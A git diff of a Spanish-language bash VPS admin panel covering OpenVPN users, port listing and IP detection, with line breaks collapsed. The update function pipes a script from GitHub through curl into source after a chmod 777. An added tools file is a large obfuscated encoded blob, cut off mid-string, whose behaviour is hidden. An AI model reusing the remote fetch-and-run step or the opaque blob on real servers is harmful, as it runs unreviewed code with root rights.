VARIABLE $IP CON LA IP PUBLICA +meu_ip () { + if [[ -e /bin/ejecutar/IPcgh ]]; then + IP="$(cat /bin/ejecutar/IPcgh)" + else + MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + MEU_IP2=$(wget -qO- ipv4.icanhazip.com) + [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" && echo "$MEU_IP2" || IP="$MEU_IP" && echo "$MEU_IP" + echo "$MEU_IP2" > /bin/ejecutar/IPcgh + IP="$MEU_IP2" + fi +} + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + + +fun_atualizar () { +clear&&clear +#upFILE=$(curl -sSL "https://www.dropbox.com/s/uyyme71yu6942vb/update.txt") +#echo -e "$upFILE" +msg -bar +cd /etc/scpdk1 +chmod 777 ./* +echo -e "${cor[3]} ¿DESEAS CONTINUAR CON UPDATE DEL SCRIPT ? " +read -p " [S/N]: " -e -i s sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/cabecalho/updateadm) "alx" +exit&&exit +} +#read -p " PRESIONA ENTER PARA CONTINUAR !!" +} + +#GERA NOVO CLIENTE +newclient () { + + # Generates the custom client.ovpn + rm -rf /etc/openvpn/easy-rsa/pki/reqs/$1.req + rm -rf /etc/openvpn/easy-rsa/pki/issued/$1.crt + rm -rf /etc/openvpn/easy-rsa/pki/private/$1.key + cd /etc/openvpn/easy-rsa/ + ./easyrsa build-client-full $1 nopass > /dev/null 2>&1 + cd + cp /etc/openvpn/client-common.txt ~/$1.ovpn + echo "" >> ~/$1.ovpn + cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + echo "" >> ~/$1.ovpn + cat /etc/openvpn/ta.key >> ~/$1.ovpn + echo "" >> ~/$1.ovpn +} + +open_1 () { +CLIENT="$1" +senha="$2" +daysrnf="$3" +limit="$4" +#cd /etc/openvpn/easy-rsa/ +#./easyrsa build-client-full $CLIENT nopass +newclient "$CLIENT" +#echo "" +#echo "$CLIENT KEY" ~/"$CLIENT.ovpn" +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d "+ $daysrnf days") +useradd -M -s /bin/false -d /home/ovpn/ $CLIENT -e $valid +usermod -p $(openssl passwd -1 $senha) $CLIENT +#Arquivo + while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do + msg -bar + read -p "Crear Archivo OpenVPN? [S/N]: " -e -i S newfile + tput cuu1 && tput dl1 + done + [[ ${newfile} = @(s|S|y|Y) ]] && { + while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do + read -p " Colocar autenticacion de usuario en el archivo? [S/N]: " -e -i S ovpnauth + tput cuu1 && tput dl1 + done + [[ ${ovpnauth} = @(s|S|y|Y) ]] && sed -i "s;auth-user-pass;\n$CLIENT\n$senha\n;g" $HOME/$CLIENT.ovpn + cd $HOME + zip ./$CLIENT.zip ./$CLIENT.ovpn > /dev/null 2>&1 + echo -e "\033[1;31m Archivo generado en: ($HOME/$CLIENT.zip)" + echo -e "\033[1;32m ALOJAR ONLINE ( * menu * opcion 2 * opcion 8 )" + } +rm -f ./$CLIENT.ovpn +cd /etc/scpdk1 +echo "senha: $senha" > $dir_user/$CLIENT +echo "limite: $limit" >> $dir_user/$CLIENT +echo "data: $valid" >> $dir_user/$CLIENT +} + +open_2 () { +CLIENT="$1" +userdel --force $CLIENT +cd /etc/scpdk1 +[[ -e $dir_user/$CLIENT ]] && rm $dir_user/$CLIENT +} + +#VERIFICA SI ES NUMERO +number_var () { +unset var_number +if (echo "$1" | egrep '[^0-9]' &> /dev/null); then +echo -e "${cor[5]} SOLO NUMEROS!" +else +var_number="$1" +fi +} + +ports_ () { +unset puertos texto texto_ svcs porta +local texto +local texto_ +local puertos +local svcs +local PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +local _ps="$(ps x)" +x=1 +for porta in `echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 |sort -n | uniq`; do + [[ -z $porta ]] && continue + porta[$x]="$porta" + #echo "$porta - $(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + svcs[$x]="$(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + let x++; +done + +for((i=1; i<$x; i++)); do +[[ ! -z ${svcs[$i]} ]] && texto="\033[1;34m ${pPIniT} \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto='' +[[ ${svcs[$i]} = "apache2" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mAPACHE: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mWebSocket: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mClash: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mPSIPHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON3: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mV2RAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mBadVPN: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "trojan" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSLH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "nc.tradit" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mKeyGen: \033[1;31mON" +[[ ${svcs[$i]} = "filebrows" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mFileBrowser: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "rpcbind" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mRPCBind: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "snell-ser" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSNell: \033[1;31m${porta[$i]}" + i=$(($i+1)) +[[ ! -z ${svcs[$i]} ]] && texto_="\033[1;34m ${pPIniT} \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto_='' +[[ ${svcs[$i]} = "apache2" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mAPACHE: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mWebSocket: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mClash: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mPSIPHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON3: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "stunnel" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mV2RAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mBadVPN: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "trojan" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSLH: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "nc.tradit" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mKeyGen: \033[1;31mON" +[[ ${svcs[$i]} = "filebrows" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mFileBrowser: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "rpcbind" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mRPCBind: \033[1;31m${porta[$i]}" +[[ ${svcs[$i]} = "snell-ser" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSNell: \033[1;31m${porta[$i]}" +#[[ -z $texto_ ]] && { +#[[ -z $(echo -e "${_ps}"| grep slowdns | grep -v grep) ]] || texto_="\033[1;34m ∘ \033[1;37mSlowDNS: \033[1;33m5300" +# } +#[[ -z $(echo -e "${_ps}"| grep slowdns | grep -v grep) ]] || texto="\033[1;34m ∘ \033[1;37mSlowDNS: \033[1;33m5300" +puertos+="${texto}|${texto_}\n" +done +local _PT=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'openvpn|dns-serve|udpServer|hysteria|UDP-Custo|Hysteria2') +x=1 +for porta in `echo -e "$_PT" | cut -d: -f2 | cut -d' ' -f1 |sort -n | uniq`; do + [[ -z $porta ]] && continue + _porta[$x]="$porta" + _svcs[$x]="$(echo -e "$_PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + let x++; +done +for((i=1; i<$x; i++)); do +[[ ! -z ${_svcs[$i]} ]] && texto="\033[1;34m ${pPIniT} \033[1;37m${_svcs[$i]}: \033[1;31m${_porta[$i]}" || texto='' +[[ ${_svcs[$i]} = "dns-serve" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSlowDNS: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "openvpn" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-UDP: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "udpServer" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mUDPServer: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "hysteria" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mHysteriaUDP: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "UDP-Custo" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mUDP-Custom: \033[1;31m${_porta[$i]}" +i=$(($i+1)) +[[ ! -z ${_svcs[$i]} ]] && texto_="\033[1;34m ${pPIniT} \033[1;37m${_svcs[$i]}: \033[1;31m${_porta[$i]}" || texto_='' +[[ ${_svcs[$i]} = "dns-serve" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSlowDNS: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "openvpn" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-UDP: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "udpServer" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mUDPServer: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "hysteria" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mHysteriaUDP: \033[1;31m${_porta[$i]}" +[[ ${_svcs[$i]} = "UDP-Custo" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mUDP-Custom: \033[1;31m${_porta[$i]}" +puertos+="${texto}|${texto_}\n" +done + +[[ $(echo -e "$puertos" | grep 'SSH: 22') ]] && { +export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games +[[ -z $(locale | grep "LANG=" | cut -d "=" -f2) ]] && export LANG=en_US.UTF-8 +echo -e "$puertos"|column -s "|" -t +} || echo -e " ⚠️ PUERTOS SSH TRUNCADO POR DROPBEAR ⚠️ \n Coloca : sudo -i \n Ve al menu 7, opcion 7 " +local PIDGEN=$(echo -e "${_ps}"| grep "BotGen.sh" | grep -v grep |awk '{print $1}') +[[ ! -z $PIDGEN ]] && { +local botG="\033[1;34m ${pPIniT} \033[1;37m BotGen Telegram 🤖 : \033[1;31m ⚡ ACTIVO ⚡" +msg -bar +echo -e "$botG" +unset svcs porta puertos i x +} +} + +#declare -A tnUP=' ⚠️ ChumoGH ADM ⚠️ NECESITA ACTUALIZARSE!' +declare -A exitokey="\033[3;49;32m$(cat < /bin/ejecutar/exito)©" +declare -A cpu_core=$(cat /proc/cpuinfo | grep processor | wc -l) +declare -A cpu_model=$(uname -m) +[[ $cpu_model = "aarch64" ]] && cpu_model=" ARM64 Pro" +[[ $v1 = $v2 ]] && vesaoSCT="\033[1;37m Key: $exitokey 】\033[0m\033[0;33m($v2)" || vesaoSCT="\033[1;37m Key: $exitokey 】\033[0m\033[0;33m($v2) ► \033[1;32m[$v1]\033[1;31m" +meu_ip +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} ChumoGH${TTcent}VPS ${TTfin} " +msg -bar +[[ -e /etc/scpdk1/modulos ]] && echo -e "${cor[2]} ${pPIniT} \033[1;37mONLINES: ${_onlin}${cor[2]} ${pPIniT} \033[1;37mEXP: ${_userexp} ${cor[2]}${pPIniT}\033[1;37m KILL: $ukk ${cor[2]}${pPIniT}\033[1;37m TOTAL: ${_tuser}" +echo -e "${cor[2]} ${pPIniT} \033[1;37mS.O: ${_os} ${cor[2]}${pPIniT} \033[1;37mBase:\033[1;31m${cpu_model} ${cor[2]}${pPIniT} \033[1;37mCores:\033[1;31m ${cpu_core} " +echo -e "${cor[2]} ${pPIniT} \033[1;37mIP:\033[1;31m ${IP} ${cor[2]}${pPIniT} \033[1;37mFECHA: \033[1;31m$(date +"%d/%m/%Y")-$(date +"%H:%M")" +msg -bar +echo -e "${vesaoSCT} " +msg -bar +[[ $1 = "ports_" ]] && ports_ +export -f ports_ +export -f ofus +export -f fun_atualizar +export -f select_users +export -f remover_adm +export -f meu_ip diff --git a/Lista/ferramentas b/Lista/ferramentas index ff8bf61..becd190 100755 --- a/Lista/ferramentas +++ b/Lista/ferramentas @@ -1,2 +1,619 @@ #!/bin/bash -hiUKBgaaHAOqDuvToFAbveXwgXjwLFvZgrLYJCvBfCDcodqSMBRxCbDiGrjrfXjDtaxRZJTFIqwWDdfdVTyHmCzjdwoxJEJvsFLE="zMZRzSdwkKqpTiafNKdgmkvIDGEyGUXnRojSVLAveSVVeclDCbejxGGhfNXKvIsKlZuzpPCapqYOfzeYJCWmLrwtBqKgoNmuRDdf";NUVwCFMLorlKmmYeJQsJBFjHhxjiTgfIuxvtKfRpWJRbBcQoyWAOVDrZbMdoaaPlvPTGclLsZvXnxdJcfqfpqYwBJKXRBTfaJlRE="RGUOaRzrapDkbPfSRFUzSVLhwtcxVOdarJXxCkmqRAnnSuXASFgrRbkrNQFdpNHZlditJxUASpOnUsKAyLOjPUkOFWYOuXHWAHIO";vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr="ch";MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev="4";RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV="";WuCFJQgfgkriwOZwcqhSOgsTfgCbpfzrFVfOTQsaiYmQUnDGkYiPbXWdhgNqprOzhqUMjfoIBURiWKOUSafVXaypAJWaCiDryYce="SxPkYlNFbuTeIdmcMWfiKbgTUhECfYZhdPPMdBdkIiYiaHkJFsYPPGDiHiPJsIxNBOWEGNEVFQDZNdnkTcIZRyItjBpYnigYfWAA";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